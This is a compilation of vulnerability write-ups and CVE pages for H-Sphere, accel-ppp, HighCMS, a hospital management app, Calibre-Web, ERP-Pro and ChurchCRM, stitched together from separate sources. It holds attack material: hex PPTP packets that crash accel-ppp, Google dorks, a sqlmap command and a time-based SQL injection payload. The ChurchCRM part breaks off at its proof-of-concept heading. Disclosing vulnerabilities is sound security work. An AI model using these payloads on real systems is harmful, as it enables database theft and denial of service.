Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter.

H-Sphere

Stable release

3.6.2 / May 15, 2013

Written in

Java

Operating system

Linux, FreeBSD, Windows

Type

Web hosting control panel

License

proprietary

Website

http://www.parallels.com/products/hsphere/

**H-Sphere** is a web hosting Automation Control Panel for shared web hosting services that was developed by Positive Software and acquired by Parallels, Inc. in September 2007.\[1\] It is available for Linux, Unix, and Windows environments, and works with MySQL, PostgreSQL, and Microsoft SQL Server databases. H-Sphere has been written in Java and works with any SQL-compliant database.

**Features\[edit\]**

*   Built-in billing system with variety of payment methods
*   Various hosting solutions (\*nix and Windows, database, load balancing, RealMedia, MS Exchange, SharePoint, FreeVPS, etc.)
*   Electronic mail system with antivirus and antispam filtering and integrated WebMail
*   Around 30 Payment gateways and 6 E-Payment Providers supported
*   Integrated support center
*   Multiple user tools
*   Integrated PHP/MySQL applications, both built-in and by means of add-ons\[2\]

**Advantages\[edit\]**

*   **Scalable multiserver cluster**: different physical and logical servers (web, mail, DNS etc.) are managed from one control panel. More servers can be added on the fly.
*   **Multilingual support** includes English, German, Dutch, French, Italian, Spanish, Russian, Portuguese (Brazil), and several other languages integrated by means of add-ons.
*   H-Sphere is recognized for **end-user features** availability, such as mail system, site building tools, SSL, etc. "Beginning webmasters may find H-Sphere too complicated for their needs. More advanced users, however, appreciate the features and control that H-Sphere offers the end user."
*   H-Sphere may give place to other panels as regards its ease of use, but not its **online documentation**.
*   H-Sphere has enlisted a community of **online supporters** who name it among their favorite control panels.\[3\]
*   Integrated Backup capability with the ClusterLogics system created by Cartika

**Disadvantages\[edit\]**

*   Licenses for H-Sphere accounts are more expensive than those of its competitors. Though, it is noted that H-Sphere licenses are reusable and sold for a cluster, not for a server, as with Ensim Pro.
*   Some customers state H-Sphere has too many advanced features and thus is a too complicated solution for small hosting companies, especially as a single server installation. While others note that H-Sphere advantages are more demonstrable on multi-server clusters.
*   On a single server mode H-Sphere consumes more server resources than other major single server control panels.\[4\]
*   H-Sphere control panel interface extensively uses JavaScript. Some reviewers regard it as a disadvantage.\[5\]
*   H-Sphere control panel by default works on non-standard 8080 and 8443 ports that may be blocked by client-side firewalls; but this can easily be changed in the configuration.
*   H-Sphere (like cPanel, but unlike Plesk) provides online file source editing, however with H-Sphere only allows editing of .txt or .html files and without line numbers in edit mode, thus limiting PHP and other script editing possibilities.

**other webhosting control panel software\[edit\]**

*   Baifox
*   cPanel
*   DirectAdmin
*   Hosting Controller
*   ispCP
*   ISPConfig
*   Kloxo
*   Plesk
*   SysCP
*   Webmin

**See also\[edit\]**

*   Parallels, the maintainers of H-Sphere
*   Web hosting control panel
*   Comparison of web hosting control panels

**References\[edit\]**

1.  **^** "Parallels Newsroom". 28 February 2020.
2.  **^** "Archived copy". Archived from the original on 2007-01-17. Retrieved 2007-05-24.{{cite web}}: CS1 maint: archived copy as title (link) CS1 maint: bot: original URL status unknown (link) 24/7 Solutions.
3.  **^** h-sphere control panels on WHTop.com
4.  **^** Post here, your favorite Control Panel. WebHostingTalk Forums.
5.  **^** "Hosting Obzor". Archived from the original on 2007-06-09. Retrieved 2007-05-24.

**External links\[edit\]**

CVE-2022-30777: H-Sphere

ACCEL-PPP 1.12.0 has an out-of-bounds read in post_msg when processing a call_clear_request.

Using version accel-ppp version 1.12.0-149-gff91c73.

**Summary**

Sending PPTP Call Clear Request Packet after PPTP Start Control Connection Request and PPTP Outgoing Call Request to server can cause stack-buffer-underflow.

**PoC**

Here is the detailed information of sent packets:

*   Packet 1

    hexstream:
    009c00011a2b3c4d00010000010000000000000300000003ffff00016c6f63616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000063616e616e69616e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    
    packet structure:
    ###[ PPTP Start Control Connection Request ]### 
      len       = 156
      type      = Control Message
      magic_cookie= 0x1a2b3c4d
      ctrl_msg_type= Start-Control-Connection-Request
      reserved_0= 0x0
      protocol_version= 256
      reserved_1= 0x0
      framing_capabilities= Asynchronous Framing supported+Synchronous Framing supported
      bearer_capabilities= Analog access supported+Digital access supported
      maximum_channels= 65535
      firmware_revision= 1
      host_name = 'local'
      vendor_string= 'cananian'
    

*   Packet 2

    hexstream:
    00a800011a2b3c4d00070000e60c00000000096000989680000000030000000300030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    
    packet structure:
    ###[ PPTP Outgoing Call Request ]### 
      len       = 168
      type      = Control Message
      magic_cookie= 0x1a2b3c4d
      ctrl_msg_type= Outgoing-Call-Request
      reserved_0= 0x0
      call_id   = 58892
      call_serial_number= 0
      minimum_bps= 2400
      maximum_bps= 10000000
      bearer_type= Any type of channel
      framing_type= Any type of framing
      pkt_window_size= 3
      pkt_proc_delay= 0
      phone_number_len= 0
      reserved_1= 0x0
      phone_number= ''
      subaddress= ''
    

*   Packet 3

    hexstream:
    001000011a2b3c4d000c0000e60c0000
    
    packet structure:
    ###[ PPTP Call Clear Request ]### 
      len       = 16
      type      = Control Message
      magic_cookie= 0x1a2b3c4d
      ctrl_msg_type= Call-Clear-Request
      reserved_0= 0x0
      call_id   = 58892
      reserved_1= 0x0
    

**Hint: the call_id field is randomly generated thus directly forwarding those three packets might not reproduce the scene. To reproduce it, it's neccessary to construct similar packets.**

**Crash report**

log of server:

    [2021-10-18 13:23:01.445] accel-ppp version 1.12.0-149-gff91c73
    [2021-10-18 13:23:01.477] pptp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
    [2021-10-18 13:23:01.479] l2tp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
    [2021-10-18 13:23:01.516] pptp: new connection from 127.0.0.1
    [2021-10-18 13:23:01.517] : : recv [PPTP Start-Ctrl-Conn-Request <Version 1> <Framing 3> <Bearer 3> <Max-Chan 65535>]
    [2021-10-18 13:23:01.517] : : send [PPTP Start-Ctrl-Conn-Reply <Version 1> <Result 1> <Error 0> <Framing 3> <Bearer 3> <Max-Chan 1>]
    [2021-10-18 13:23:02.516] : : recv [PPTP Outgoing-Call-Request <Call-ID e60c> <Call-Serial 0> <Min-BPS 2400> <Max-BPS 10000000> <Bearer 3> <Framing 3> <Window-Size 3> <Delay 0>]
    [2021-10-18 13:23:02.517] : : send [PPTP Outgoing-Call-Reply <Call-ID 615> <Peer-Call-ID e60c> <Result 1> <Error 0> <Cause 0> <Speed 10000000> <Window-Size 3> <Delay 0> <Channel 0>]
    [2021-10-18 13:23:02.517] : : lcp_layer_init
    [2021-10-18 13:23:02.517] : : auth_layer_init
    [2021-10-18 13:23:02.517] : : ccp_layer_init
    [2021-10-18 13:23:02.517] : : ipcp_layer_init
    [2021-10-18 13:23:02.517] : : ipv6cp_layer_init
    [2021-10-18 13:23:02.517] : : ppp establishing
    [2021-10-18 13:23:02.518] : 78a9b1ca73684d70: lcp_layer_start
    [2021-10-18 13:23:02.518] : 78a9b1ca73684d70: send [LCP ConfReq id=71 <auth MSCHAP-v2> <mru 1400> <magic 465aee3b>]
    [2021-10-18 13:23:03.495] terminate, sig = 15
    [2021-10-18 13:23:03.495] : 78a9b1ca73684d70: terminate
    [2021-10-18 13:23:03.495] : 78a9b1ca73684d70: lcp_layer_finish
    [2021-10-18 13:23:03.496] : 78a9b1ca73684d70: pptp: ppp finished
    [2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 3> <Error 0> <Cause 0>]
    [2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Stop-Ctrl-Conn-Request <Reason 0>]
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: lcp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: auth_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ccp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipcp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipv6cp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: recv [PPTP Call-Clear-Request <Call-ID e60c>]
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 4> <Error 0> <Cause 0>]
    

Here is the asan report:

    ==2434668==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7f785e8afe1f at pc 0x000000499d97 bp 0x7f7862ed07c0 sp 0x7f7862ecff88
    READ of size 149 at 0x7f785e8afe1f thread T7
        #0 0x499d96 in __asan_memcpy /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
        #1 0x7f786b3e5d1f in post_msg /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:150:3
        #2 0x7f786b3e6a19 in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:385:9
        #3 0x7f786b3e13bd in pptp_call_clear_rqst /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:404:9
        #4 0x7f786b3e13bd in process_packet /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:478:11
        #5 0x7f786b3e13bd in pptp_read /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:527:9
        #6 0x7f78714c81c1 in ctx_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:252:10
        #7 0x7f78714c81c1 in triton_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:192:5
        #8 0x7f7871485608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477:8
        #9 0x7f7870e5e292 in clone /build/glibc-eX1tMB/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
    
    Address 0x7f785e8afe1f is located in stack of thread T7 at offset 31 in frame
        #0 0x7f786b3e666f in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:373
    
      This frame has 1 object(s):
        [32, 180) 'msg' (line 374) <== Memory access at offset 31 partially underflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    Thread T7 created by T0 here:
        #0 0x484d4c in pthread_create /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:205:3
        #1 0x7f78714c6eee in create_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:320:9
        #2 0x7f78714cdc17 in triton_run /root/projects/accel-ppp/accel-pppd/triton/triton.c:744:7
        #3 0x559603 in main /root/projects/accel-ppp/accel-pppd/main.c:415:2
        #4 0x7f7870d630b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    SUMMARY: AddressSanitizer: stack-buffer-underflow /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
    Shadow bytes around the buggy address:
      0x0fef8bd0df70: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0df80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0df90: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0dfa0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0dfb0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
    =>0x0fef8bd0dfc0: f1 f1 f1[f1]00 00 00 00 00 00 00 00 00 00 00 00
      0x0fef8bd0dfd0: 00 00 00 00 00 00 04 f3 f3 f3 f3 f3 f3 f3 f3 f3
      0x0fef8bd0dfe0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0dff0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0e000: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0e010: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2434668==ABORTING
    

**Reproduce info**

Build access-ppp:

mkdir build && cd build
cmake -DCMAKE\_C\_COMPILER=clang -DCMAKE\_CXX\_COMPILER=clang++ -DCMAKE\_C\_FLAGS="\-fsanitize=address -g" -DCMAKE\_CXX\_FLAGS="\-fsanitize=address -g" -DBUILD\_DRIVER=false -DCMAKE\_INSTALL\_PREFIX=/usr/local -DCMAKE\_BUILD\_TYPE=Debug -DLOG\_PGSQL=TRUE -DSHAPER=TRUE -DRADIUS=TRUE -DNETSNMP=TRUE ..
CC=clang CXX=clang++ CFLAGS="\-fsanitize=address -g" CXXFLAGS="\-fsanitize=address -g" make -j
make install

Run access-pppd, use the following command:

accel-pppd -c /etc/accel-ppp.conf

The running configuration /etc/accel-ppp.conf is:

    [modules]
     log_file
     #log_syslog
     #log_tcp
     #log_pgsql
     
     pptp
     l2tp
     #sstp
     #pppoe
     #ipoe
     
     auth_mschap_v2
     auth_mschap_v1
     auth_chap_md5
     auth_pap
     
     #radius
     chap-secrets
     
     ippool
     
     pppd_compat
     
     #shaper
     #net-snmp
     #logwtmp
     #connlimit
     
     #ipv6_nd
     #ipv6_dhcp
     #ipv6pool
     
     [core]
     log-error=/var/log/accel-ppp/core.log
     thread-count=4
     
     [common]
     #single-session=replace
     #single-session-ignore-case=0
     #sid-case=upper
     #sid-source=seq
     #max-sessions=1000
     #max-starting=0
     #check-ip=0
     
     [ppp]
     verbose=1
     min-mtu=1280
     mtu=1400
     mru=1400
     #accomp=deny
     #pcomp=deny
     #ccp=0
     #mppe=require
     ipv4=require
     ipv6=deny
     ipv6-intf-id=0:0:0:1
     ipv6-peer-intf-id=0:0:0:2
     ipv6-accept-peer-intf-id=1
     lcp-echo-interval=20
     #lcp-echo-failure=3
     lcp-echo-timeout=120
     unit-cache=1
     #unit-preallocate=1
     
     [auth]
     #any-login=0
     #noauth=0
     
     [pptp]
     verbose=1
     #echo-interval=30
     ip-pool=pool1
     #ipv6-pool=pptp
     #ipv6-pool-delegate=pptp
     ifname=pptp%d
     #port=9300
     #mppe=prefer
     
     [pppoe]
     verbose=1
     #ac-name=xxx
     #service-name=yyy
     #pado-delay=0
     #pado-delay=0,100:100,200:200,-1:500
     called-sid=mac
     #tr101=1
     #padi-limit=0
     #ip-pool=pppoe
     #ipv6-pool=pppoe
     #ipv6-pool-delegate=pppoe
     #ifname=pppoe%d
     #sid-uppercase=0
     #vlan-mon=eth0,10-200
     #vlan-timeout=60
     #vlan-name=%I.%N
     #interface=eth1,padi-limit=1000
     interface=ens18
     
     [l2tp]
     verbose=1
     #dictionary=/usr/local/share/accel-ppp/l2tp/dictionary
     #hello-interval=60
     #timeout=60
     #rtimeout=1
     #rtimeout-cap=16
     #retransmit=5
     #recv-window=16
     #host-name=accel-ppp
     #dir300_quirk=0
     #secret=
     #dataseq=allow
     #reorder-timeout=0
     #ip-pool=l2tp
     #ipv6-pool=l2tp
     #ipv6-pool-delegate=l2tp
     #ifname=l2tp%d
     
     [sstp]
     verbose=1
     #cert-hash-proto=sha1,sha256
     #cert-hash-sha1=
     #cert-hash-sha256=
     #accept=ssl,proxy
     #ssl-protocol=tls1,tls1.1,tls1.2,tls1.3
     #ssl-dhparam=/etc/ssl/dhparam.pem
     #ssl-ecdh-curve=prime256v1
     #ssl-ciphers=DEFAULT
     #ssl-prefer-server-ciphers=0
     #ssl-ca-file=/etc/ssl/sstp-ca.crt
     #ssl-pemfile=/etc/ssl/sstp-cert.pem
     #ssl-keyfile=/etc/ssl/sstp-key.pem
     #host-name=domain.tld
     #http-error=allow
     #timeout=60
     #hello-interval=60
     #ip-pool=sstp
     #ipv6-pool=sstp
     #ipv6-pool-delegate=sstp
     #ifname=sstp%d
     
     [ipoe]
     verbose=1
     username=ifname
     #password=username
     lease-time=600
     #renew-time=300
     #rebind-time=525
     max-lease-time=3600
     #unit-cache=1000
     #l4-redirect-table=4
     #l4-redirect-ipset=l4
     #l4-redirect-on-reject=300
     #l4-redirect-ip-pool=pool1
     shared=0
     ifcfg=1
     mode=L2
     start=dhcpv4
     #start=up
     #ip-unnumbered=1
     #proxy-arp=0
     #nat=0
     #proto=100
     #relay=10.10.10.10
     #vendor=Custom
     #weight=0
     #attr-dhcp-client-ip=DHCP-Client-IP-Address
     #attr-dhcp-router-ip=DHCP-Router-IP-Address
     #attr-dhcp-mask=DHCP-Mask
     #attr-dhcp-lease-time=DHCP-Lease-Time
     #attr-dhcp-renew-time=DHCP-Renewal-Time
     #attr-dhcp-rebind-time=DHCP-Rebinding-Time
     #attr-dhcp-opt82=DHCP-Option82
     #attr-dhcp-opt82-remote-id=DHCP-Agent-Remote-Id
     #attr-dhcp-opt82-circuit-id=DHCP-Agent-Circuit-Id
     #attr-l4-redirect=L4-Redirect
     #attr-l4-redirect-table=4
     #attr-l4-redirect-ipset=l4-redirect
     #lua-file=/etc/accel-ppp.lua
     #offer-delay=0,100:100,200:200,-1:1000
     #vlan-mon=eth0,10-200
     #vlan-timeout=60
     #vlan-name=%I.%N
     #ip-pool=ipoe
     #ipv6-pool=ipoe
     #ipv6-pool-delegate=ipoe
     #idle-timeout=0
     #session-timeout=0
     #soft-terminate=0
     #check-mac-change=1
     #calling-sid=mac
     #local-net=192.168.0.0/16
     interface=eth0
     
     [dns]
     #dns1=172.16.0.1
     #dns2=172.16.1.1
     
     [wins]
     #wins1=172.16.0.1
     #wins2=172.16.1.1
     
     [radius]
     #dictionary=/usr/local/share/accel-ppp/radius/dictionary
     nas-identifier=accel-ppp
     nas-ip-address=127.0.0.1
     gw-ip-address=192.168.100.1
     server=127.0.0.1,testing123,auth-port=1812,acct-port=1813,req-limit=50,fail-timeout=0,max-fail=10,weight=1
     dae-server=127.0.0.1:3799,testing123
     verbose=1
     #timeout=3
     #max-try=3
     #acct-timeout=120
     #acct-delay-time=0
     #acct-on=0
     #acct-interim-interval=0
     #acct-interim-jitter=0
     #default-realm=
     #strip-realm=0
     #attr-tunnel-type=My-Tunnel-Type
     
     [client-ip-range]
     0.0.0.0/0
     
     [ip-pool]
     gw-ip-address=192.168.0.1
     #vendor=Cisco
     #attr=Cisco-AVPair
     attr=Framed-Pool
     192.168.0.2-255
     192.168.1.1-255,name=pool1
     192.168.2.1-255,name=pool2
     192.168.3.1-255,name=pool3
     192.168.4.1-255,name=pool4,next=pool1
     192.168.4.0/24
     
     [log]
     log-file=/var/log/accel-ppp/accel-ppp.log
     log-emerg=/var/log/accel-ppp/emerg.log
     log-fail-file=/var/log/accel-ppp/auth-fail.log
     log-debug=/dev/stdout
     syslog=accel-pppd,daemon
     #log-tcp=127.0.0.1:3000
     copy=1
     color=1
     #per-user-dir=per_user
     #per-session-dir=per_session
     #per-session=1
     level=5
     
     [log-pgsql]
     conninfo=user=log
     log-table=log
     
     [pppd-compat]
     verbose=1
     #ip-pre-up=/etc/ppp/ip-pre-up
     ip-up=/etc/ppp/ip-up
     ip-down=/etc/ppp/ip-down
     #ip-change=/etc/ppp/ip-change
     radattr-prefix=/var/run/radattr
     #fork-limit=16
     
     [chap-secrets]
     gw-ip-address=192.168.100.1
     chap-secrets=/etc/ppp/chap-secrets.ppp
     #encrypted=0
     #username-hash=md5
     
     [shaper]
     #attr=Filter-Id
     #down-burst-factor=0.1
     #up-burst-factor=1.0
     #latency=50
     #mpu=0
     #mtu=0
     #r2q=10
     #quantum=1500
     #moderate-quantum=1
     #cburst=1534
     #ifb=ifb0
     up-limiter=police
     down-limiter=tbf
     #leaf-qdisc=sfq perturb 10
     #leaf-qdisc=fq_codel [limit PACKETS] [flows NUMBER] [target TIME] [interval TIME] [quantum BYTES] [[no]ecn]
     #rate-multiplier=1
     #fwmark=1
     #rate-limit=2048/1024
     verbose=1
     
     [cli]
     verbose=1
     telnet=127.0.0.1:2000
     tcp=127.0.0.1:2001
     #password=123
     #sessions-columns=ifname,username,ip,ip6,ip6-dp,type,state,uptime,uptime-raw,calling-sid,called-sid,sid,comp,rx-bytes,tx-bytes,rx-bytes-raw,tx-bytes-raw,rx-pkts,tx-pkts
     
     [snmp]
     master=0
     agent-name=accel-ppp
     
     [connlimit]
     limit=10/min
     burst=3
     timeout=60
     
     [ipv6-pool]
     #gw-ip6-address=fc00:0:1::1
     #vendor=
     #attr-prefix=Delegated-IPv6-Prefix-Pool
     #attr-address=Stateful-IPv6-Address-Pool
     fc00:0:1::/48,64
     fc00:0:2::/48,64,name=pool1
     fc00:0:3::/48,64,name=pool2,next=pool1
     delegate=fc00:1::/36,48
     delegate=fc00:2::/36,48,name=pool3
     delegate=fc00:3::/36,48,name=pool4,next=pool3
     
     [ipv6-dns]
     #fc00:1::1
     #fc00:1::2
     #fc00:1::3
     #dnssl=suffix1.local.net
     #dnssl=suffix2.local.net.
     
     [ipv6-dhcp]
     verbose=1
     pref-lifetime=604800
     valid-lifetime=2592000
     route-via-gw=1
    

use chap-secrets and the /etc/ppp/chap-secrets.ppp is as follows:

    # Secrets for authentication using CHAP
    # client	server	secret			IP addresses
    fouzhe * 123 *

CVE-2021-42870: Abnormal packet sequence can cause stack-buffer-underflow · Issue #158 · xebd/accel-ppp

HighCMS/HighPortal version 12.x appears to suffer from a remote SQL injection vulnerability.

    # Exploit Title: HighCMS/HighPortal v12.x SQL Inj# Type : WEBAPPS "HighCMS/HighPortal"# Platform :  ASP.NET# Date :  4/23/2022# Exploit Author :  E1.Coders# Software Link :  https://aryanic.com/page/portal# Version :  v12.x# Category :  Webapps# Tested on: Linux/Windows# Google Dork: inurl:index.jsp?siteid=1&fkeyid=&siteid=1&pageid= # Google Dork: <©2022 HighCMS/HighPortal" Step 1: Enter the address of the "page" that has the problem of sql injection attacks  http: //TARGET/index.jsp? Siteid = 1 & fkeyid = & siteid = 1 & pageid = 6528 Default credentials.      ( is True )STEP 2 : Send the following request "orUse sqlmap : python sqlmap.py -u "https://example.ir/index.jsp?siteid=1&fkeyid=&siteid=1&pageid=11211"

HighCMS/HighPortal 12.x SQL Injection

In the POST request of the appointment.php page of HMS v.0, there are SQL injection vulnerabilities in multiple parameters, and database information can be obtained through injection.

       

This is a Startup Project. May contain Bugs.

**INSTALLATION**

1.  Download and Unzip files To Localhost Folder.
2.  Import Database.

Run Project Through Xampp and Browser.

**Demo**

https://kabir.infantinventory.com/hms

CVE-2022-30012: GitHub - kabirkhyrul/hms at 1.0

Calibre-Web before 0.6.18 allows user table SQL Injection.

**Security Policy****Reporting a Vulnerability**

Please report security issues to ozzie.fernandez.isaacs@googlemail.com

**Supported Versions**

To receive fixes for security vulnerabilities it is required to always upgrade to the latest version of Calibre-Web. See https://github.com/janeczku/calibre-web/releases/latest for the latest release.

**History**

Fixed in

Description

CVE number

3rd July 2018

Guest access acts as a backdoor

V 0.6.7

Hardcoded secret key for sessions

CVE-2020-12627

V 0.6.13

Calibre-Web Metadata cross site scripting

CVE-2021-25964

V 0.6.13

Name of Shelves are only visible to users who can access the corresponding shelf Thanks to @ibarrionuevo

V 0.6.13

JavaScript could get executed in the description field. Thanks to @ranjit-git and Hagai Wechsler (WhiteSource)

V 0.6.13

JavaScript could get executed in a custom column of type "comment" field

V 0.6.13

JavaScript could get executed after converting a book to another format with a title containing javascript code

V 0.6.13

JavaScript could get executed after converting a book to another format with a username containing javascript code

V 0.6.13

JavaScript could get executed in the description series, categories or publishers title

V 0.6.13

JavaScript could get executed in the shelf title

V 0.6.13

Login with the old session cookie after logout. Thanks to @ibarrionuevo

V 0.6.14

CSRF was possible. Thanks to @mik317 and Hagai Wechsler (WhiteSource)

CVE-2021-25965

V 0.6.14

Migrated some routes to POST-requests (CSRF protection). Thanks to @scara31

CVE-2021-4164

V 0.6.15

Fix for "javascript:" script links in identifier. Thanks to @scara31

CVE-2021-4170

V 0.6.15

Cross-Site Scripting vulnerability on uploaded cover file names. Thanks to @ibarrionuevo

V 0.6.15

Creating public shelfs is now denied if user is missing the edit public shelf right. Thanks to @ibarrionuevo

V 0.6.15

Changed error message in case of trying to delete a shelf unauthorized. Thanks to @ibarrionuevo

V 0.6.16

JavaScript could get executed on authors page. Thanks to @alicaz

CVE-2022-0352

V 0.6.16

Localhost can no longer be used to upload covers. Thanks to @scara31

CVE-2022-0339

V 0.6.16

Another case where public shelfs could be created without permission is prevented. Thanks to @nhiephon

CVE-2022-0273

V 0.6.16

It's prevented to get the name of a private shelfs. Thanks to @nhiephon

CVE-2022-0405

V 0.6.17

The SSRF Protection can no longer be bypassed via an HTTP redirect. Thanks to @416e6e61

CVE-2022-0767

V 0.6.17

The SSRF Protection can no longer be bypassed via 0.0.0.0 and it's ipv6 equivalent. Thanks to @r0hanSH

CVE-2022-0766

V 0.6.18

Possible SQL Injection is prevented in user table Thanks to Iman Sharafaldin (Forward Security)

CVE-2022-30765

V 0.6.18

The SSRF protection no longer can be bypassed by IPV6/IPV4 embedding. Thanks to @416e6e61

CVE-2022-0939

V 0.6.18

The SSRF protection no longer can be bypassed to connect to other servers in the local network. Thanks to @michaellrowley

CVE-2022-0990

**Statement regarding Log4j (CVE-2021-44228 and related)**

Calibre-web is not affected by bugs related to Log4j. Calibre-Web is a python program, therefore not using Java, and not using the Java logging feature log4j.

CVE-2022-30765: calibre-web/SECURITY.md at master · janeczku/calibre-web

ERP-Pro v3.7.5 was discovered to contain a SQL injection vulnerability via the component /base/SysEveMenuAuthPointMapper.xml..

**SQL injection vulnerability exists in ERP-Pro system**

待办的

lan

创建于  

2022-04-05 17:36

Mapper.xml question code  
  
serviceimpl question code  
  
controoler question code  
  
The system has only one Session Filter  
filterconfig code  
  
interceptor config  
  
There are no filtered SQL statements in the interceptor code

interceptor code  

**评论 (0)**

lan 创建了**任务**

登录 后才可以发表评论

状态

待办的

待办的

进行中

已完成

已拒绝

负责人

未设置

标签

未设置

标签管理

里程碑

未关联

未关联

Pull Requests

未关联

未关联

关联的 Pull Requests 被合并后可能会关闭此 issue

分支

未关联

分支 (1)

标签 (1)

master

2.0.0

开始日期   -   截止日期

\-

置顶选项

不置顶

置顶等级：高

置顶等级：中

置顶等级：低

优先级

不指定

严重

主要

次要

不重要

参与者（1）

CVE-2022-28930: SQL injection vulnerability exists in ERP-Pro system · Issue #I515R4 · Skyeye云系列/erp-pro - Gitee.com

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the delid parameter at viewtreatmentrecord.php.

**DATE : 4/6/22****Web App : https://github.com/kabirkhyrul/HMS****Version : 1.0****Researcher : cyber\_homeless****Path : viewtreatmentrecord.php?delid=1****Security issue : SQLInjection**

While installing the web app i saw bunch of sql connection's so i went for SQLInjection and soon enough found one : 

Exploiting this vulnerability is pretty easy now using sqlmap: 

Payload : 1' AND (SELECT 6895 FROM (SELECT(SLEEP(5)))juDk) AND 'GPzW'='GPzW

CVE-2022-28929: vulnerabilitys/HMS at main · cyberhomeless/vulnerabilitys

A SQL injection vulnerability exists in ChurchCRM version 2.0.0 to 4.4.5 that allows an authenticated attacker to issue an arbitrary SQL command to the database through the unsanitized EN_tyid, theID and EID fields used when an Edit action on an existing record is being performed.

*   Sat, May 14, 2022
*   4-minute read

**Summary**

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    

    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

